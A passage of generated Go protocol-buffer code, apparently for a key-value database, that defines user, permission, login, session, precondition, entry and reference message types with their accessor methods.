protoreflect.EnumNumber { return protoreflect.EnumNumber(x) } // Deprecated: Use PermissionAction.Descriptor instead. func (PermissionAction) EnumDescriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{1} } type TxMode int32 const ( // Read-only transaction TxMode_ReadOnly TxMode = 0 // Write-only transaction TxMode_WriteOnly TxMode = 1 // Read-write transaction TxMode_ReadWrite TxMode = 2 ) // Enum value maps for TxMode. var ( TxMode_name = map[int32]string{ 0: "ReadOnly", 1: "WriteOnly", 2: "ReadWrite", } TxMode_value = map[string]int32{ "ReadOnly": 0, "WriteOnly": 1, "ReadWrite": 2, } ) func (x TxMode) Enum() *TxMode { p := new(TxMode) *p = x return p } func (x TxMode) String() string { return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) } func (TxMode) Descriptor() protoreflect.EnumDescriptor { return file_schema_proto_enumTypes[2].Descriptor() } func (TxMode) Type() protoreflect.EnumType { return &file_schema_proto_enumTypes[2] } func (x TxMode) Number() protoreflect.EnumNumber { return protoreflect.EnumNumber(x) } // Deprecated: Use TxMode.Descriptor instead. func (TxMode) EnumDescriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{2} } type Key struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` } func (x *Key) Reset() { *x = Key{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Key) String() string { return protoimpl.X.MessageStringOf(x) } func (*Key) ProtoMessage() {} func (x *Key) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Key.ProtoReflect.Descriptor instead. func (*Key) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{0} } func (x *Key) GetKey() []byte { if x != nil { return x.Key } return nil } type Permission struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // Permission, 1 - read permission, 2 - read+write permission, 254 - admin, 255 - sysadmin Permission uint32 `protobuf:"varint,2,opt,name=permission,proto3" json:"permission,omitempty"` } func (x *Permission) Reset() { *x = Permission{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[1] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Permission) String() string { return protoimpl.X.MessageStringOf(x) } func (*Permission) ProtoMessage() {} func (x *Permission) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[1] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Permission.ProtoReflect.Descriptor instead. func (*Permission) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{1} } func (x *Permission) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *Permission) GetPermission() uint32 { if x != nil { return x.Permission } return 0 } type User struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Username User []byte `protobuf:"bytes,1,opt,name=user,proto3" json:"user,omitempty"` // List of permissions for the user Permissions []*Permission `protobuf:"bytes,3,rep,name=permissions,proto3" json:"permissions,omitempty"` // Name of the creator user Createdby string `protobuf:"bytes,4,opt,name=createdby,proto3" json:"createdby,omitempty"` // Time when the user was created Createdat string `protobuf:"bytes,5,opt,name=createdat,proto3" json:"createdat,omitempty"` // Flag indicating whether the user is active or not Active bool `protobuf:"varint,6,opt,name=active,proto3" json:"active,omitempty"` // List of SQL privileges SqlPrivileges []*SQLPrivilege `protobuf:"bytes,7,rep,name=sqlPrivileges,proto3" json:"sqlPrivileges,omitempty"` } func (x *User) Reset() { *x = User{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *User) String() string { return protoimpl.X.MessageStringOf(x) } func (*User) ProtoMessage() {} func (x *User) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[2] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use User.ProtoReflect.Descriptor instead. func (*User) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{2} } func (x *User) GetUser() []byte { if x != nil { return x.User } return nil } func (x *User) GetPermissions() []*Permission { if x != nil { return x.Permissions } return nil } func (x *User) GetCreatedby() string { if x != nil { return x.Createdby } return "" } func (x *User) GetCreatedat() string { if x != nil { return x.Createdat } return "" } func (x *User) GetActive() bool { if x != nil { return x.Active } return false } func (x *User) GetSqlPrivileges() []*SQLPrivilege { if x != nil { return x.SqlPrivileges } return nil } type SQLPrivilege struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER Privilege string `protobuf:"bytes,2,opt,name=privilege,proto3" json:"privilege,omitempty"` } func (x *SQLPrivilege) Reset() { *x = SQLPrivilege{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SQLPrivilege) String() string { return protoimpl.X.MessageStringOf(x) } func (*SQLPrivilege) ProtoMessage() {} func (x *SQLPrivilege) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SQLPrivilege.ProtoReflect.Descriptor instead. func (*SQLPrivilege) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{3} } func (x *SQLPrivilege) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *SQLPrivilege) GetPrivilege() string { if x != nil { return x.Privilege } return "" } type UserList struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // List of users Users []*User `protobuf:"bytes,1,rep,name=users,proto3" json:"users,omitempty"` } func (x *UserList) Reset() { *x = UserList{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UserList) String() string { return protoimpl.X.MessageStringOf(x) } func (*UserList) ProtoMessage() {} func (x *UserList) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UserList.ProtoReflect.Descriptor instead. func (*UserList) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{4} } func (x *UserList) GetUsers() []*User { if x != nil { return x.Users } return nil } type CreateUserRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Username User []byte `protobuf:"bytes,1,opt,name=user,proto3" json:"user,omitempty"` // Login password Password []byte `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` // Permission, 1 - read permission, 2 - read+write permission, 254 - admin Permission uint32 `protobuf:"varint,3,opt,name=permission,proto3" json:"permission,omitempty"` // Database name Database string `protobuf:"bytes,4,opt,name=database,proto3" json:"database,omitempty"` } func (x *CreateUserRequest) Reset() { *x = CreateUserRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CreateUserRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*CreateUserRequest) ProtoMessage() {} func (x *CreateUserRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CreateUserRequest.ProtoReflect.Descriptor instead. func (*CreateUserRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{5} } func (x *CreateUserRequest) GetUser() []byte { if x != nil { return x.User } return nil } func (x *CreateUserRequest) GetPassword() []byte { if x != nil { return x.Password } return nil } func (x *CreateUserRequest) GetPermission() uint32 { if x != nil { return x.Permission } return 0 } func (x *CreateUserRequest) GetDatabase() string { if x != nil { return x.Database } return "" } type UserRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Username User []byte `protobuf:"bytes,1,opt,name=user,proto3" json:"user,omitempty"` } func (x *UserRequest) Reset() { *x = UserRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UserRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*UserRequest) ProtoMessage() {} func (x *UserRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[6] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UserRequest.ProtoReflect.Descriptor instead. func (*UserRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{6} } func (x *UserRequest) GetUser() []byte { if x != nil { return x.User } return nil } type ChangePasswordRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Username User []byte `protobuf:"bytes,1,opt,name=user,proto3" json:"user,omitempty"` // Old password OldPassword []byte `protobuf:"bytes,2,opt,name=oldPassword,proto3" json:"oldPassword,omitempty"` // New password NewPassword []byte `protobuf:"bytes,3,opt,name=newPassword,proto3" json:"newPassword,omitempty"` } func (x *ChangePasswordRequest) Reset() { *x = ChangePasswordRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ChangePasswordRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ChangePasswordRequest) ProtoMessage() {} func (x *ChangePasswordRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ChangePasswordRequest.ProtoReflect.Descriptor instead. func (*ChangePasswordRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{7} } func (x *ChangePasswordRequest) GetUser() []byte { if x != nil { return x.User } return nil } func (x *ChangePasswordRequest) GetOldPassword() []byte { if x != nil { return x.OldPassword } return nil } func (x *ChangePasswordRequest) GetNewPassword() []byte { if x != nil { return x.NewPassword } return nil } type LoginRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Username User []byte `protobuf:"bytes,1,opt,name=user,proto3" json:"user,omitempty"` // User's password Password []byte `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` } func (x *LoginRequest) Reset() { *x = LoginRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *LoginRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*LoginRequest) ProtoMessage() {} func (x *LoginRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead. func (*LoginRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{8} } func (x *LoginRequest) GetUser() []byte { if x != nil { return x.User } return nil } func (x *LoginRequest) GetPassword() []byte { if x != nil { return x.Password } return nil } type LoginResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Deprecated: use session-based authentication Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` // Optional: additional warning message sent to the user (e.g. request to change the password) Warning []byte `protobuf:"bytes,2,opt,name=warning,proto3" json:"warning,omitempty"` } func (x *LoginResponse) Reset() { *x = LoginResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *LoginResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*LoginResponse) ProtoMessage() {} func (x *LoginResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use LoginResponse.ProtoReflect.Descriptor instead. func (*LoginResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{9} } func (x *LoginResponse) GetToken() string { if x != nil { return x.Token } return "" } func (x *LoginResponse) GetWarning() []byte { if x != nil { return x.Warning } return nil } // DEPRECATED type AuthConfig struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Kind uint32 `protobuf:"varint,1,opt,name=kind,proto3" json:"kind,omitempty"` } func (x *AuthConfig) Reset() { *x = AuthConfig{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *AuthConfig) String() string { return protoimpl.X.MessageStringOf(x) } func (*AuthConfig) ProtoMessage() {} func (x *AuthConfig) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use AuthConfig.ProtoReflect.Descriptor instead. func (*AuthConfig) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{10} } func (x *AuthConfig) GetKind() uint32 { if x != nil { return x.Kind } return 0 } // DEPRECATED type MTLSConfig struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Enabled bool `protobuf:"varint,1,opt,name=enabled,proto3" json:"enabled,omitempty"` } func (x *MTLSConfig) Reset() { *x = MTLSConfig{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *MTLSConfig) String() string { return protoimpl.X.MessageStringOf(x) } func (*MTLSConfig) ProtoMessage() {} func (x *MTLSConfig) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use MTLSConfig.ProtoReflect.Descriptor instead. func (*MTLSConfig) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{11} } func (x *MTLSConfig) GetEnabled() bool { if x != nil { return x.Enabled } return false } type OpenSessionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Username Username []byte `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` // Password Password []byte `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` // Database name DatabaseName string `protobuf:"bytes,3,opt,name=databaseName,proto3" json:"databaseName,omitempty"` } func (x *OpenSessionRequest) Reset() { *x = OpenSessionRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *OpenSessionRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*OpenSessionRequest) ProtoMessage() {} func (x *OpenSessionRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use OpenSessionRequest.ProtoReflect.Descriptor instead. func (*OpenSessionRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{12} } func (x *OpenSessionRequest) GetUsername() []byte { if x != nil { return x.Username } return nil } func (x *OpenSessionRequest) GetPassword() []byte { if x != nil { return x.Password } return nil } func (x *OpenSessionRequest) GetDatabaseName() string { if x != nil { return x.DatabaseName } return "" } type OpenSessionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Id of the new session SessionID string `protobuf:"bytes,1,opt,name=sessionID,proto3" json:"sessionID,omitempty"` // UUID of the server ServerUUID string `protobuf:"bytes,2,opt,name=serverUUID,proto3" json:"serverUUID,omitempty"` } func (x *OpenSessionResponse) Reset() { *x = OpenSessionResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *OpenSessionResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*OpenSessionResponse) ProtoMessage() {} func (x *OpenSessionResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use OpenSessionResponse.ProtoReflect.Descriptor instead. func (*OpenSessionResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{13} } func (x *OpenSessionResponse) GetSessionID() string { if x != nil { return x.SessionID } return "" } func (x *OpenSessionResponse) GetServerUUID() string { if x != nil { return x.ServerUUID } return "" } type Precondition struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Types that are assignable to Precondition: // // *Precondition_KeyMustExist // *Precondition_KeyMustNotExist // *Precondition_KeyNotModifiedAfterTX Precondition isPrecondition_Precondition `protobuf_oneof:"precondition"` } func (x *Precondition) Reset() { *x = Precondition{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Precondition) String() string { return protoimpl.X.MessageStringOf(x) } func (*Precondition) ProtoMessage() {} func (x *Precondition) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Precondition.ProtoReflect.Descriptor instead. func (*Precondition) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{14} } func (m *Precondition) GetPrecondition() isPrecondition_Precondition { if m != nil { return m.Precondition } return nil } func (x *Precondition) GetKeyMustExist() *Precondition_KeyMustExistPrecondition { if x, ok := x.GetPrecondition().(*Precondition_KeyMustExist); ok { return x.KeyMustExist } return nil } func (x *Precondition) GetKeyMustNotExist() *Precondition_KeyMustNotExistPrecondition { if x, ok := x.GetPrecondition().(*Precondition_KeyMustNotExist); ok { return x.KeyMustNotExist } return nil } func (x *Precondition) GetKeyNotModifiedAfterTX() *Precondition_KeyNotModifiedAfterTXPrecondition { if x, ok := x.GetPrecondition().(*Precondition_KeyNotModifiedAfterTX); ok { return x.KeyNotModifiedAfterTX } return nil } type isPrecondition_Precondition interface { isPrecondition_Precondition() } type Precondition_KeyMustExist struct { KeyMustExist *Precondition_KeyMustExistPrecondition `protobuf:"bytes,1,opt,name=keyMustExist,proto3,oneof"` } type Precondition_KeyMustNotExist struct { KeyMustNotExist *Precondition_KeyMustNotExistPrecondition `protobuf:"bytes,2,opt,name=keyMustNotExist,proto3,oneof"` } type Precondition_KeyNotModifiedAfterTX struct { KeyNotModifiedAfterTX *Precondition_KeyNotModifiedAfterTXPrecondition `protobuf:"bytes,3,opt,name=keyNotModifiedAfterTX,proto3,oneof"` } func (*Precondition_KeyMustExist) isPrecondition_Precondition() {} func (*Precondition_KeyMustNotExist) isPrecondition_Precondition() {} func (*Precondition_KeyNotModifiedAfterTX) isPrecondition_Precondition() {} type KeyValue struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` Value []byte `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` Metadata *KVMetadata `protobuf:"bytes,3,opt,name=metadata,proto3" json:"metadata,omitempty"` } func (x *KeyValue) Reset() { *x = KeyValue{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *KeyValue) String() string { return protoimpl.X.MessageStringOf(x) } func (*KeyValue) ProtoMessage() {} func (x *KeyValue) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use KeyValue.ProtoReflect.Descriptor instead. func (*KeyValue) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{15} } func (x *KeyValue) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *KeyValue) GetValue() []byte { if x != nil { return x.Value } return nil } func (x *KeyValue) GetMetadata() *KVMetadata { if x != nil { return x.Metadata } return nil } type Entry struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction id at which the target value was set (i.e. not the reference transaction id) Tx uint64 `protobuf:"varint,1,opt,name=tx,proto3" json:"tx,omitempty"` // Key of the target value (i.e. not the reference entry) Key []byte `protobuf:"bytes,2,opt,name=key,proto3" json:"key,omitempty"` // Value Value []byte `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` // If the request was for a reference, this field will keep information about the reference entry ReferencedBy *Reference `protobuf:"bytes,4,opt,name=referencedBy,proto3" json:"referencedBy,omitempty"` // Metadata of the target entry (i.e. not the reference entry) Metadata *KVMetadata `protobuf:"bytes,5,opt,name=metadata,proto3" json:"metadata,omitempty"` // If set to true, this entry has expired and the value is not retrieved Expired bool `protobuf:"varint,6,opt,name=expired,proto3" json:"expired,omitempty"` // Key's revision, in case of GetAt it will be 0 Revision uint64 `protobuf:"varint,7,opt,name=revision,proto3" json:"revision,omitempty"` } func (x *Entry) Reset() { *x = Entry{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Entry) String() string { return protoimpl.X.MessageStringOf(x) } func (*Entry) ProtoMessage() {} func (x *Entry) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Entry.ProtoReflect.Descriptor instead. func (*Entry) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{16} } func (x *Entry) GetTx() uint64 { if x != nil { return x.Tx } return 0 } func (x *Entry) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *Entry) GetValue() []byte { if x != nil { return x.Value } return nil } func (x *Entry) GetReferencedBy() *Reference { if x != nil { return x.ReferencedBy } return nil } func (x *Entry) GetMetadata() *KVMetadata { if x != nil { return x.Metadata } return nil } func (x *Entry) GetExpired() bool { if x != nil { return x.Expired } return false } func (x *Entry) GetRevision() uint64 { if x != nil { return x.Revision } return 0 } type Reference struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction if when the reference key was set Tx uint64 `protobuf:"varint,1,opt,name=tx,proto3" json:"tx,omitempty"` // Reference key Key []byte `protobuf:"bytes,2,opt,name=key,proto3" json:"key,omitempty"` // At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference AtTx uint64 `protobuf:"varint,3,opt,name=atTx,proto3" json:"atTx,omitempty"` // Metadata of the reference entry Metadata *KVMetadata `protobuf:"bytes,4,opt,name=metadata,proto3" json:"metadata,omitempty"` // Revision of the reference entry Revision uint64 `protobuf:"varint,5,opt,name=revision,proto3" json:"revision,omitempty"` } func (x *Reference) Reset() { *x = Reference{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Reference) String() string { return protoimpl.X.MessageStringOf(x) } func (*Reference) ProtoMessage() {} func (x *Reference) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Reference.ProtoReflect.Descriptor instead. func (*Reference) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{17} } func (x *Reference) GetTx() uint64 { if x != nil { return x.Tx } return 0 } func (x *Reference) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *Reference) GetAtTx() uint64 { if x != nil { return x.AtTx } return 0 } func (x *Reference) GetMetadata() *KVMetadata { if x != nil { return x.Metadata } return nil } func (x *Reference) GetRevision() uint64 { if x != nil { return x.Revision } return 0 } type Op struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Types that are assignable to Operation: // // *Op_Kv // *Op_ZAdd // *Op_Ref Operation isOp_Operation `protobuf_oneof:"operation"` } func (x *Op) Reset() { *x = Op{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Op) String() string { return protoimpl.X.MessageStringOf(x) } func (*Op) ProtoMessage() {} func (x *Op) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Op.ProtoReflect.Descriptor instead. func (*Op) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{18} } func (m *Op) GetOperation() isOp_Operation { if m != nil { return m.Operation } return nil } func (x *Op) GetKv() *KeyValue { if x, ok := x.GetOperation().(*Op_Kv); ok { return x.Kv } return nil } func (x *Op) GetZAdd() *ZAddRequest { if x, ok := x.GetOperation().(*Op_ZAdd); ok { return x.ZAdd } return nil } func (x *Op) GetRef() *ReferenceRequest { if x, ok := x.GetOperation().(*Op_Ref); ok { return x.Ref } return nil } type isOp_Operation interface { isOp_Operation() } type Op_Kv struct { // Modify / add simple KV value Kv *KeyValue `protobuf:"bytes,1,opt,name=kv,proto3,oneof"` } type Op_ZAdd struct { // Modify / add sorted set entry ZAdd *ZAddRequest `protobuf:"bytes,2,opt,name=zAdd,proto3,oneof"` } type Op_Ref struct { // Modify / add reference Ref *ReferenceRequest `protobuf:"bytes,3,opt,name=ref,proto3,oneof"` } func (*Op_Kv) isOp_Operation() {} func (*Op_ZAdd) isOp_Operation() {} func (*Op_Ref) isOp_Operation() {} type ExecAllRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // List of operations to perform Operations []*Op 